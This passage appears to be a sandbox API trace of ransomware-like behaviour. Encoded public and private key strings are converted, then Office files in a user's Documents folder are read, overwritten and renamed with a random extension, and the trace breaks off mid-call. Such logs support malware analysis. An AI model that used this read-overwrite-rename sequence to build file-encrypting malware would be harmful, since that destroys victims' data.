lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.220] GetCurrentThreadId () returned 0xa30 [0088.220] GetCurrentThreadId () returned 0xa30 [0088.220] GetCurrentThreadId () returned 0xa30 [0088.221] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.221] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.221] GetCurrentThreadId () returned 0xa30 [0088.221] GetCurrentThreadId () returned 0xa30 [0088.221] GetCurrentThreadId () returned 0xa30 [0088.222] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hmE9.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hme9.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.222] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0088.222] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.222] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x106b1 [0088.222] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.222] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x106b1, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x106b1, lpOverlapped=0x0) returned 1 [0088.225] CloseHandle (hObject=0x124) returned 1 [0088.227] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hmE9.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hme9.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.229] WriteFile (in: hFile=0x124, lpBuffer=0x1f02040*, nNumberOfBytesToWrite=0x106b1, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f02040*, lpNumberOfBytesWritten=0x18f978*=0x106b1, lpOverlapped=0x0) returned 1 [0088.233] CloseHandle (hObject=0x124) returned 1 [0088.241] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hmE9.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hme9.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hmE9.pptx.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hme9.pptx.zv7un")) returned 1 [0088.242] GetCurrentThreadId () returned 0xa30 [0088.242] GetCurrentThreadId () returned 0xa30 [0088.242] GetCurrentThreadId () returned 0xa30 [0088.242] GetCurrentThreadId () returned 0xa30 [0088.242] GetCurrentThreadId () returned 0xa30 [0088.242] GetCurrentThreadId () returned 0xa30 [0088.242] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadfc9e80, ftCreationTime.dwHighDateTime=0x1d56e0a, ftLastAccessTime.dwLowDateTime=0x48d4b120, ftLastAccessTime.dwHighDateTime=0x1d5744d, ftLastWriteTime.dwLowDateTime=0x48d4b120, ftLastWriteTime.dwHighDateTime=0x1d5744d, nFileSizeHigh=0x0, nFileSizeLow=0x88bc, dwReserved0=0xc7690348, dwReserved1=0xba1113e9, cFileName="j5qVGDC 3 7fjtI.docx", cAlternateFileName="J5QVGD~1.DOC")) returned 1 [0088.242] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.242] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.242] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j5qVGDC 3 7fjtI.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j5qvgdc 3 7fjti.docx"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadfc9e80, ftCreationTime.dwHighDateTime=0x1d56e0a, ftLastAccessTime.dwLowDateTime=0x48d4b120, ftLastAccessTime.dwHighDateTime=0x1d5744d, ftLastWriteTime.dwLowDateTime=0x48d4b120, ftLastWriteTime.dwHighDateTime=0x1d5744d, nFileSizeHigh=0x0, nFileSizeLow=0x88bc)) returned 1 [0088.242] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j5qVGDC 3 7fjtI.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j5qvgdc 3 7fjti.docx")) returned 0x20 [0088.243] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j5qVGDC 3 7fjtI.docx", dwFileAttributes=0x80) returned 1 [0088.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.246] GetCurrentThreadId () returned 0xa30 [0088.246] GetCurrentThreadId () returned 0xa30 [0088.246] GetCurrentThreadId () returned 0xa30 [0088.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 